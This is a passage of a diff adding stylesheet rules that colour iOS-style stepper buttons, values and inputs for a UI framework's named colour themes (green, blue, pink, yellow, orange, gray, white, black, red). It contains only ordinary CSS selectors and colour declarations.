.stepper.stepper-small.stepper-fill .stepper-button-plus.active-state:before, +.ios .color-theme-green .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:before, +.ios .color-theme-green .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state:before, +.ios .color-theme-green .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:before, +.ios .color-theme-green .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state:after, +.ios .color-theme-green .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:after, +.ios .color-theme-green .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state:after, +.ios .color-theme-green .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:after { + background-color: #4cd964; +} +.ios .color-theme-blue .stepper .stepper-button, +.ios .color-theme-blue .stepper .stepper-button-minus, +.ios .color-theme-blue .stepper .stepper-button-plus { + border-color: #007aff; + color: #007aff; +} +.ios .color-theme-blue .stepper .stepper-button.active-state, +.ios .color-theme-blue .stepper .stepper-button-minus.active-state, +.ios .color-theme-blue .stepper .stepper-button-plus.active-state { + background-color: rgba(0, 122, 255, 0.15); +} +.ios .color-theme-blue .stepper .stepper-button-plus:after, +.ios .color-theme-blue .stepper .stepper-button-minus:after, +.ios .color-theme-blue .stepper .stepper-button-plus:before, +.ios .color-theme-blue .stepper .stepper-button-minus:before { + background-color: #007aff; +} +.ios .color-theme-blue .stepper .stepper-value, +.ios .color-theme-blue .stepper .stepper-input-wrap { + border-top-color: #007aff; + border-bottom-color: #007aff; +} +.ios .color-theme-blue .stepper .stepper-value { + color: #007aff; +} +.ios .color-theme-blue .stepper .stepper-input-wrap input { + color: #007aff; +} +.ios .color-theme-blue .stepper.stepper-fill .stepper-button, +.ios .color-theme-blue .stepper.stepper-fill-ios .stepper-button, +.ios .color-theme-blue .stepper.stepper-fill .stepper-button-minus, +.ios .color-theme-blue .stepper.stepper-fill-ios .stepper-button-minus, +.ios .color-theme-blue .stepper.stepper-fill .stepper-button-plus, +.ios .color-theme-blue .stepper.stepper-fill-ios .stepper-button-plus { + background-color: #007aff; +} +.ios .color-theme-blue .stepper.stepper-fill .stepper-button-plus:before, +.ios .color-theme-blue .stepper.stepper-fill-ios .stepper-button-plus:before, +.ios .color-theme-blue .stepper.stepper-fill .stepper-button-minus:before, +.ios .color-theme-blue .stepper.stepper-fill-ios .stepper-button-minus:before, +.ios .color-theme-blue .stepper.stepper-fill .stepper-button-plus:after, +.ios .color-theme-blue .stepper.stepper-fill-ios .stepper-button-plus:after, +.ios .color-theme-blue .stepper.stepper-fill .stepper-button-minus:after, +.ios .color-theme-blue .stepper.stepper-fill-ios .stepper-button-minus:after { + background-color: #fff; +} +.ios .color-theme-blue .stepper.stepper-small.stepper-fill .stepper-button.active-state, +.ios .color-theme-blue .stepper.stepper-small-ios.stepper-fill .stepper-button.active-state, +.ios .color-theme-blue .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state, +.ios .color-theme-blue .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state, +.ios .color-theme-blue .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state, +.ios .color-theme-blue .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state { + color: #007aff; + border-color: #007aff; + background-color: transparent; +} +.ios .color-theme-blue .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state:before, +.ios .color-theme-blue .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:before, +.ios .color-theme-blue .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state:before, +.ios .color-theme-blue .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:before, +.ios .color-theme-blue .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state:after, +.ios .color-theme-blue .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:after, +.ios .color-theme-blue .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state:after, +.ios .color-theme-blue .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:after { + background-color: #007aff; +} +.ios .color-theme-pink .stepper .stepper-button, +.ios .color-theme-pink .stepper .stepper-button-minus, +.ios .color-theme-pink .stepper .stepper-button-plus { + border-color: #ff2d55; + color: #ff2d55; +} +.ios .color-theme-pink .stepper .stepper-button.active-state, +.ios .color-theme-pink .stepper .stepper-button-minus.active-state, +.ios .color-theme-pink .stepper .stepper-button-plus.active-state { + background-color: rgba(255, 45, 85, 0.15); +} +.ios .color-theme-pink .stepper .stepper-button-plus:after, +.ios .color-theme-pink .stepper .stepper-button-minus:after, +.ios .color-theme-pink .stepper .stepper-button-plus:before, +.ios .color-theme-pink .stepper .stepper-button-minus:before { + background-color: #ff2d55; +} +.ios .color-theme-pink .stepper .stepper-value, +.ios .color-theme-pink .stepper .stepper-input-wrap { + border-top-color: #ff2d55; + border-bottom-color: #ff2d55; +} +.ios .color-theme-pink .stepper .stepper-value { + color: #ff2d55; +} +.ios .color-theme-pink .stepper .stepper-input-wrap input { + color: #ff2d55; +} +.ios .color-theme-pink .stepper.stepper-fill .stepper-button, +.ios .color-theme-pink .stepper.stepper-fill-ios .stepper-button, +.ios .color-theme-pink .stepper.stepper-fill .stepper-button-minus, +.ios .color-theme-pink .stepper.stepper-fill-ios .stepper-button-minus, +.ios .color-theme-pink .stepper.stepper-fill .stepper-button-plus, +.ios .color-theme-pink .stepper.stepper-fill-ios .stepper-button-plus { + background-color: #ff2d55; +} +.ios .color-theme-pink .stepper.stepper-fill .stepper-button-plus:before, +.ios .color-theme-pink .stepper.stepper-fill-ios .stepper-button-plus:before, +.ios .color-theme-pink .stepper.stepper-fill .stepper-button-minus:before, +.ios .color-theme-pink .stepper.stepper-fill-ios .stepper-button-minus:before, +.ios .color-theme-pink .stepper.stepper-fill .stepper-button-plus:after, +.ios .color-theme-pink .stepper.stepper-fill-ios .stepper-button-plus:after, +.ios .color-theme-pink .stepper.stepper-fill .stepper-button-minus:after, +.ios .color-theme-pink .stepper.stepper-fill-ios .stepper-button-minus:after { + background-color: #fff; +} +.ios .color-theme-pink .stepper.stepper-small.stepper-fill .stepper-button.active-state, +.ios .color-theme-pink .stepper.stepper-small-ios.stepper-fill .stepper-button.active-state, +.ios .color-theme-pink .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state, +.ios .color-theme-pink .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state, +.ios .color-theme-pink .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state, +.ios .color-theme-pink .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state { + color: #ff2d55; + border-color: #ff2d55; + background-color: transparent; +} +.ios .color-theme-pink .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state:before, +.ios .color-theme-pink .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:before, +.ios .color-theme-pink .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state:before, +.ios .color-theme-pink .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:before, +.ios .color-theme-pink .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state:after, +.ios .color-theme-pink .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:after, +.ios .color-theme-pink .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state:after, +.ios .color-theme-pink .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:after { + background-color: #ff2d55; +} +.ios .color-theme-yellow .stepper .stepper-button, +.ios .color-theme-yellow .stepper .stepper-button-minus, +.ios .color-theme-yellow .stepper .stepper-button-plus { + border-color: #ffcc00; + color: #ffcc00; +} +.ios .color-theme-yellow .stepper .stepper-button.active-state, +.ios .color-theme-yellow .stepper .stepper-button-minus.active-state, +.ios .color-theme-yellow .stepper .stepper-button-plus.active-state { + background-color: rgba(255, 204, 0, 0.15); +} +.ios .color-theme-yellow .stepper .stepper-button-plus:after, +.ios .color-theme-yellow .stepper .stepper-button-minus:after, +.ios .color-theme-yellow .stepper .stepper-button-plus:before, +.ios .color-theme-yellow .stepper .stepper-button-minus:before { + background-color: #ffcc00; +} +.ios .color-theme-yellow .stepper .stepper-value, +.ios .color-theme-yellow .stepper .stepper-input-wrap { + border-top-color: #ffcc00; + border-bottom-color: #ffcc00; +} +.ios .color-theme-yellow .stepper .stepper-value { + color: #ffcc00; +} +.ios .color-theme-yellow .stepper .stepper-input-wrap input { + color: #ffcc00; +} +.ios .color-theme-yellow .stepper.stepper-fill .stepper-button, +.ios .color-theme-yellow .stepper.stepper-fill-ios .stepper-button, +.ios .color-theme-yellow .stepper.stepper-fill .stepper-button-minus, +.ios .color-theme-yellow .stepper.stepper-fill-ios .stepper-button-minus, +.ios .color-theme-yellow .stepper.stepper-fill .stepper-button-plus, +.ios .color-theme-yellow .stepper.stepper-fill-ios .stepper-button-plus { + background-color: #ffcc00; +} +.ios .color-theme-yellow .stepper.stepper-fill .stepper-button-plus:before, +.ios .color-theme-yellow .stepper.stepper-fill-ios .stepper-button-plus:before, +.ios .color-theme-yellow .stepper.stepper-fill .stepper-button-minus:before, +.ios .color-theme-yellow .stepper.stepper-fill-ios .stepper-button-minus:before, +.ios .color-theme-yellow .stepper.stepper-fill .stepper-button-plus:after, +.ios .color-theme-yellow .stepper.stepper-fill-ios .stepper-button-plus:after, +.ios .color-theme-yellow .stepper.stepper-fill .stepper-button-minus:after, +.ios .color-theme-yellow .stepper.stepper-fill-ios .stepper-button-minus:after { + background-color: #fff; +} +.ios .color-theme-yellow .stepper.stepper-small.stepper-fill .stepper-button.active-state, +.ios .color-theme-yellow .stepper.stepper-small-ios.stepper-fill .stepper-button.active-state, +.ios .color-theme-yellow .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state, +.ios .color-theme-yellow .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state, +.ios .color-theme-yellow .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state, +.ios .color-theme-yellow .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state { + color: #ffcc00; + border-color: #ffcc00; + background-color: transparent; +} +.ios .color-theme-yellow .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state:before, +.ios .color-theme-yellow .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:before, +.ios .color-theme-yellow .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state:before, +.ios .color-theme-yellow .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:before, +.ios .color-theme-yellow .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state:after, +.ios .color-theme-yellow .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:after, +.ios .color-theme-yellow .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state:after, +.ios .color-theme-yellow .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:after { + background-color: #ffcc00; +} +.ios .color-theme-orange .stepper .stepper-button, +.ios .color-theme-orange .stepper .stepper-button-minus, +.ios .color-theme-orange .stepper .stepper-button-plus { + border-color: #ff9500; + color: #ff9500; +} +.ios .color-theme-orange .stepper .stepper-button.active-state, +.ios .color-theme-orange .stepper .stepper-button-minus.active-state, +.ios .color-theme-orange .stepper .stepper-button-plus.active-state { + background-color: rgba(255, 149, 0, 0.15); +} +.ios .color-theme-orange .stepper .stepper-button-plus:after, +.ios .color-theme-orange .stepper .stepper-button-minus:after, +.ios .color-theme-orange .stepper .stepper-button-plus:before, +.ios .color-theme-orange .stepper .stepper-button-minus:before { + background-color: #ff9500; +} +.ios .color-theme-orange .stepper .stepper-value, +.ios .color-theme-orange .stepper .stepper-input-wrap { + border-top-color: #ff9500; + border-bottom-color: #ff9500; +} +.ios .color-theme-orange .stepper .stepper-value { + color: #ff9500; +} +.ios .color-theme-orange .stepper .stepper-input-wrap input { + color: #ff9500; +} +.ios .color-theme-orange .stepper.stepper-fill .stepper-button, +.ios .color-theme-orange .stepper.stepper-fill-ios .stepper-button, +.ios .color-theme-orange .stepper.stepper-fill .stepper-button-minus, +.ios .color-theme-orange .stepper.stepper-fill-ios .stepper-button-minus, +.ios .color-theme-orange .stepper.stepper-fill .stepper-button-plus, +.ios .color-theme-orange .stepper.stepper-fill-ios .stepper-button-plus { + background-color: #ff9500; +} +.ios .color-theme-orange .stepper.stepper-fill .stepper-button-plus:before, +.ios .color-theme-orange .stepper.stepper-fill-ios .stepper-button-plus:before, +.ios .color-theme-orange .stepper.stepper-fill .stepper-button-minus:before, +.ios .color-theme-orange .stepper.stepper-fill-ios .stepper-button-minus:before, +.ios .color-theme-orange .stepper.stepper-fill .stepper-button-plus:after, +.ios .color-theme-orange .stepper.stepper-fill-ios .stepper-button-plus:after, +.ios .color-theme-orange .stepper.stepper-fill .stepper-button-minus:after, +.ios .color-theme-orange .stepper.stepper-fill-ios .stepper-button-minus:after { + background-color: #fff; +} +.ios .color-theme-orange .stepper.stepper-small.stepper-fill .stepper-button.active-state, +.ios .color-theme-orange .stepper.stepper-small-ios.stepper-fill .stepper-button.active-state, +.ios .color-theme-orange .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state, +.ios .color-theme-orange .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state, +.ios .color-theme-orange .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state, +.ios .color-theme-orange .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state { + color: #ff9500; + border-color: #ff9500; + background-color: transparent; +} +.ios .color-theme-orange .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state:before, +.ios .color-theme-orange .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:before, +.ios .color-theme-orange .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state:before, +.ios .color-theme-orange .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:before, +.ios .color-theme-orange .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state:after, +.ios .color-theme-orange .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:after, +.ios .color-theme-orange .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state:after, +.ios .color-theme-orange .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:after { + background-color: #ff9500; +} +.ios .color-theme-gray .stepper .stepper-button, +.ios .color-theme-gray .stepper .stepper-button-minus, +.ios .color-theme-gray .stepper .stepper-button-plus { + border-color: #8e8e93; + color: #8e8e93; +} +.ios .color-theme-gray .stepper .stepper-button.active-state, +.ios .color-theme-gray .stepper .stepper-button-minus.active-state, +.ios .color-theme-gray .stepper .stepper-button-plus.active-state { + background-color: rgba(142, 142, 147, 0.15); +} +.ios .color-theme-gray .stepper .stepper-button-plus:after, +.ios .color-theme-gray .stepper .stepper-button-minus:after, +.ios .color-theme-gray .stepper .stepper-button-plus:before, +.ios .color-theme-gray .stepper .stepper-button-minus:before { + background-color: #8e8e93; +} +.ios .color-theme-gray .stepper .stepper-value, +.ios .color-theme-gray .stepper .stepper-input-wrap { + border-top-color: #8e8e93; + border-bottom-color: #8e8e93; +} +.ios .color-theme-gray .stepper .stepper-value { + color: #8e8e93; +} +.ios .color-theme-gray .stepper .stepper-input-wrap input { + color: #8e8e93; +} +.ios .color-theme-gray .stepper.stepper-fill .stepper-button, +.ios .color-theme-gray .stepper.stepper-fill-ios .stepper-button, +.ios .color-theme-gray .stepper.stepper-fill .stepper-button-minus, +.ios .color-theme-gray .stepper.stepper-fill-ios .stepper-button-minus, +.ios .color-theme-gray .stepper.stepper-fill .stepper-button-plus, +.ios .color-theme-gray .stepper.stepper-fill-ios .stepper-button-plus { + background-color: #8e8e93; +} +.ios .color-theme-gray .stepper.stepper-fill .stepper-button-plus:before, +.ios .color-theme-gray .stepper.stepper-fill-ios .stepper-button-plus:before, +.ios .color-theme-gray .stepper.stepper-fill .stepper-button-minus:before, +.ios .color-theme-gray .stepper.stepper-fill-ios .stepper-button-minus:before, +.ios .color-theme-gray .stepper.stepper-fill .stepper-button-plus:after, +.ios .color-theme-gray .stepper.stepper-fill-ios .stepper-button-plus:after, +.ios .color-theme-gray .stepper.stepper-fill .stepper-button-minus:after, +.ios .color-theme-gray .stepper.stepper-fill-ios .stepper-button-minus:after { + background-color: #fff; +} +.ios .color-theme-gray .stepper.stepper-small.stepper-fill .stepper-button.active-state, +.ios .color-theme-gray .stepper.stepper-small-ios.stepper-fill .stepper-button.active-state, +.ios .color-theme-gray .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state, +.ios .color-theme-gray .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state, +.ios .color-theme-gray .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state, +.ios .color-theme-gray .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state { + color: #8e8e93; + border-color: #8e8e93; + background-color: transparent; +} +.ios .color-theme-gray .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state:before, +.ios .color-theme-gray .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:before, +.ios .color-theme-gray .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state:before, +.ios .color-theme-gray .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:before, +.ios .color-theme-gray .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state:after, +.ios .color-theme-gray .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:after, +.ios .color-theme-gray .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state:after, +.ios .color-theme-gray .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:after { + background-color: #8e8e93; +} +.ios .color-theme-white .stepper .stepper-button, +.ios .color-theme-white .stepper .stepper-button-minus, +.ios .color-theme-white .stepper .stepper-button-plus { + border-color: #ffffff; + color: #ffffff; +} +.ios .color-theme-white .stepper .stepper-button.active-state, +.ios .color-theme-white .stepper .stepper-button-minus.active-state, +.ios .color-theme-white .stepper .stepper-button-plus.active-state { + background-color: rgba(255, 255, 255, 0.15); +} +.ios .color-theme-white .stepper .stepper-button-plus:after, +.ios .color-theme-white .stepper .stepper-button-minus:after, +.ios .color-theme-white .stepper .stepper-button-plus:before, +.ios .color-theme-white .stepper .stepper-button-minus:before { + background-color: #ffffff; +} +.ios .color-theme-white .stepper .stepper-value, +.ios .color-theme-white .stepper .stepper-input-wrap { + border-top-color: #ffffff; + border-bottom-color: #ffffff; +} +.ios .color-theme-white .stepper .stepper-value { + color: #ffffff; +} +.ios .color-theme-white .stepper .stepper-input-wrap input { + color: #ffffff; +} +.ios .color-theme-white .stepper.stepper-fill .stepper-button, +.ios .color-theme-white .stepper.stepper-fill-ios .stepper-button, +.ios .color-theme-white .stepper.stepper-fill .stepper-button-minus, +.ios .color-theme-white .stepper.stepper-fill-ios .stepper-button-minus, +.ios .color-theme-white .stepper.stepper-fill .stepper-button-plus, +.ios .color-theme-white .stepper.stepper-fill-ios .stepper-button-plus { + background-color: #ffffff; +} +.ios .color-theme-white .stepper.stepper-fill .stepper-button-plus:before, +.ios .color-theme-white .stepper.stepper-fill-ios .stepper-button-plus:before, +.ios .color-theme-white .stepper.stepper-fill .stepper-button-minus:before, +.ios .color-theme-white .stepper.stepper-fill-ios .stepper-button-minus:before, +.ios .color-theme-white .stepper.stepper-fill .stepper-button-plus:after, +.ios .color-theme-white .stepper.stepper-fill-ios .stepper-button-plus:after, +.ios .color-theme-white .stepper.stepper-fill .stepper-button-minus:after, +.ios .color-theme-white .stepper.stepper-fill-ios .stepper-button-minus:after { + background-color: #fff; +} +.ios .color-theme-white .stepper.stepper-small.stepper-fill .stepper-button.active-state, +.ios .color-theme-white .stepper.stepper-small-ios.stepper-fill .stepper-button.active-state, +.ios .color-theme-white .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state, +.ios .color-theme-white .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state, +.ios .color-theme-white .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state, +.ios .color-theme-white .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state { + color: #ffffff; + border-color: #ffffff; + background-color: transparent; +} +.ios .color-theme-white .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state:before, +.ios .color-theme-white .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:before, +.ios .color-theme-white .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state:before, +.ios .color-theme-white .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:before, +.ios .color-theme-white .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state:after, +.ios .color-theme-white .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:after, +.ios .color-theme-white .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state:after, +.ios .color-theme-white .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:after { + background-color: #ffffff; +} +.ios .color-theme-black .stepper .stepper-button, +.ios .color-theme-black .stepper .stepper-button-minus, +.ios .color-theme-black .stepper .stepper-button-plus { + border-color: #000000; + color: #000000; +} +.ios .color-theme-black .stepper .stepper-button.active-state, +.ios .color-theme-black .stepper .stepper-button-minus.active-state, +.ios .color-theme-black .stepper .stepper-button-plus.active-state { + background-color: rgba(0, 0, 0, 0.15); +} +.ios .color-theme-black .stepper .stepper-button-plus:after, +.ios .color-theme-black .stepper .stepper-button-minus:after, +.ios .color-theme-black .stepper .stepper-button-plus:before, +.ios .color-theme-black .stepper .stepper-button-minus:before { + background-color: #000000; +} +.ios .color-theme-black .stepper .stepper-value, +.ios .color-theme-black .stepper .stepper-input-wrap { + border-top-color: #000000; + border-bottom-color: #000000; +} +.ios .color-theme-black .stepper .stepper-value { + color: #000000; +} +.ios .color-theme-black .stepper .stepper-input-wrap input { + color: #000000; +} +.ios .color-theme-black .stepper.stepper-fill .stepper-button, +.ios .color-theme-black .stepper.stepper-fill-ios .stepper-button, +.ios .color-theme-black .stepper.stepper-fill .stepper-button-minus, +.ios .color-theme-black .stepper.stepper-fill-ios .stepper-button-minus, +.ios .color-theme-black .stepper.stepper-fill .stepper-button-plus, +.ios .color-theme-black .stepper.stepper-fill-ios .stepper-button-plus { + background-color: #000000; +} +.ios .color-theme-black .stepper.stepper-fill .stepper-button-plus:before, +.ios .color-theme-black .stepper.stepper-fill-ios .stepper-button-plus:before, +.ios .color-theme-black .stepper.stepper-fill .stepper-button-minus:before, +.ios .color-theme-black .stepper.stepper-fill-ios .stepper-button-minus:before, +.ios .color-theme-black .stepper.stepper-fill .stepper-button-plus:after, +.ios .color-theme-black .stepper.stepper-fill-ios .stepper-button-plus:after, +.ios .color-theme-black .stepper.stepper-fill .stepper-button-minus:after, +.ios .color-theme-black .stepper.stepper-fill-ios .stepper-button-minus:after { + background-color: #fff; +} +.ios .color-theme-black .stepper.stepper-small.stepper-fill .stepper-button.active-state, +.ios .color-theme-black .stepper.stepper-small-ios.stepper-fill .stepper-button.active-state, +.ios .color-theme-black .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state, +.ios .color-theme-black .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state, +.ios .color-theme-black .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state, +.ios .color-theme-black .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state { + color: #000000; + border-color: #000000; + background-color: transparent; +} +.ios .color-theme-black .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state:before, +.ios .color-theme-black .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:before, +.ios .color-theme-black .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state:before, +.ios .color-theme-black .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:before, +.ios .color-theme-black .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state:after, +.ios .color-theme-black .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:after, +.ios .color-theme-black .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state:after, +.ios .color-theme-black .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:after { + background-color: #000000; +} +.ios .stepper.color-red .stepper-button, +.ios .stepper.color-red .stepper-button-minus, +.ios .stepper.color-red .stepper-button-plus { + border-color: #ff3b30; + color: #ff3b30; +} +.ios .stepper.color-red .stepper-button.active-state, +.ios .stepper.color-red .stepper-button-minus.active-state, +.ios .stepper.color-red .stepper-button-plus.active-state { + background-color: rgba(255, 59, 48, 0.15); +} +.ios .stepper.color-red .stepper-button-plus:after, +.ios .stepper.color-red .stepper-button-minus:after, +.ios .stepper.color-red .stepper-button-plus:before, +.ios .stepper.color-red .stepper-button-minus:before { + background-color: #ff3b30; +} +.ios .stepper.color-red .stepper-value, +.ios .stepper.color-red .stepper-input-wrap { + border-top-color: #ff3b30; + border-bottom-color: #ff3b30; +} +.ios .stepper.color-red .stepper-value { + color: #ff3b30; +} +.ios .stepper.color-red .stepper-input-wrap input { + color: #ff3b30; +} +.ios .stepper.color-red.stepper-fill .stepper-button, +.ios .stepper.color-red.stepper-fill-ios .stepper-button, +.ios .stepper.color-red.stepper-fill .stepper-button-minus, +.ios .stepper.color-red.stepper-fill-ios .stepper-button-minus, +.ios .stepper.color-red.stepper-fill .stepper-button-plus, +.ios .stepper.color-red.stepper-fill-ios .stepper-button-plus { + background-color: #ff3b30; +} +.ios .stepper.color-red.stepper-fill .stepper-button-plus:before, +.ios .stepper.color-red.stepper-fill-ios .stepper-button-plus:before, +.ios .stepper.color-red.stepper-fill .stepper-button-minus:before, +.ios .stepper.color-red.stepper-fill-ios .stepper-button-minus:before, +.ios .stepper.color-red.stepper-fill .stepper-button-plus:after, +.ios .stepper.color-red.stepper-fill-ios .stepper-button-plus:after, +.ios .stepper.color-red.stepper-fill .stepper-button-minus:after, +.ios .stepper.color-red.stepper-fill-ios .stepper-button-minus:after { + background-color: #fff; +} +.ios .stepper.color-red.stepper-small.stepper-fill .stepper-button.active-state, +.ios .stepper.color-red.stepper-small-ios.stepper-fill .stepper-button.active-state, +.ios .stepper.color-red.stepper-small.stepper-fill .stepper-button-minus.active-state, +.ios .stepper.color-red.stepper-small-ios.stepper-fill .stepper-button-minus.active-state, +.ios .stepper.color-red.stepper-small.stepper-fill .stepper-button-plus.active-state, +.ios .stepper.color-red.stepper-small-ios.stepper-fill .stepper-button-plus.active-state { + color: #ff3b30; + border-color: #ff3b30; + background-color: transparent; +} +.ios .stepper.color-red.stepper-small.stepper-fill .stepper-button-plus.active-state:before, +.ios .stepper.color-red.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:before, +.ios .stepper.color-red.stepper-small.stepper-fill .stepper-button-minus.active-state:before, +.ios .stepper.color-red.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:before, +.ios .stepper.color-red.stepper-small.stepper-fill .stepper-button-plus.active-state:after, +.ios .stepper.color-red.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:after, +.ios .stepper.color-red.stepper-small.stepper-fill .stepper-button-minus.active-state:after, +.ios .stepper.color-red.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:after { + background-color: #ff3b30; +} +.ios .stepper.color-green .stepper-button, +.ios .stepper.color-green .stepper-button-minus, +.ios .stepper.color-green .stepper-button-plus { + border-color: #4cd964; + color: #4cd964; +} +.ios .stepper.color-green .stepper-button.active-state, +.ios .stepper.color-green .stepper-button-minus.active-state, +.ios .stepper.color-green .stepper-button-plus.active-state { + background-color: rgba(76, 217, 100, 0.15); +} +.ios .stepper.color-green .stepper-button-plus:after, +.ios .stepper.color-green .stepper-button-minus:after, +.ios .stepper.color-green .stepper-button-plus:before, +.ios .stepper.color-green .stepper-button-minus:before { + background-color: #4cd964; +} +.ios .stepper.color-green .stepper-value, +.ios .stepper.color-green .stepper-input-wrap { + border-top-color: #4cd964; + border-bottom-color: #4cd964; +} +.ios .stepper.color-green .stepper-value { + color: #4cd964; +} +.ios .stepper.color-green .stepper-input-wrap input { + color: #4cd964; +} +.ios .stepper.color-green.stepper-fill .stepper-button, +.ios .stepper.color-green.stepper-fill-ios .stepper-button, +.ios .stepper.color-green.stepper-fill .stepper-button-minus, +.ios .stepper.color-green.stepper-fill-ios .stepper-button-minus, +.ios .stepper.color-green.stepper-fill .stepper-button-plus, +.ios .stepper.color-green.stepper-fill-ios .stepper-button-plus { + background-color: #4cd964; +} +.ios .stepper.color-green.stepper-fill .stepper-button-plus:before, +.ios .stepper.color-green.stepper-fill-ios .stepper-button-plus:before, +.ios .stepper.color-green.stepper-fill .stepper-button-minus:before, +.ios .stepper.color-green.stepper-fill-ios .stepper-button-minus:before, +.ios .stepper.color-green.stepper-fill .stepper-button-plus:after, +.ios .stepper.color-green.stepper-fill-ios .stepper-button-plus:after, +.ios .stepper.color-green.stepper-fill .stepper-button-minus:after, +.ios .stepper.color-green.stepper-fill-ios .stepper-button-minus:after { + background-color: #fff; +} +.ios .stepper.color-green.stepper-small.stepper-fill .stepper-button.active-state, +.ios .stepper.color-green.stepper-small-ios.stepper-fill .stepper-button.active-state, +.ios .stepper.color-green.stepper-small.stepper-fill .stepper-button-minus.active-state, +.ios .stepper.color-green.stepper-small-ios.stepper-fill .stepper-button-minus.active-state, +.ios .stepper.color-green.stepper-small.stepper-fill .stepper-button-plus.active-state, +.ios .stepper.color-green.stepper-small-ios.stepper-fill .stepper-button-plus.active-state { + color: #4cd964; + border-color: #4cd964; + background-color: transparent; +} +.ios .stepper.color-green.stepper-small.stepper-fill .stepper-button-plus.active-state:before, +.ios .stepper.color-green.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:before, +.ios .stepper.color-green.stepper-small.stepper-fill .stepper-button-minus.active-state:before, +.ios .stepper.color-green.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:before, +.ios .stepper.color-green.stepper-small.stepper-fill .stepper-button-plus.active-state:after, +.ios 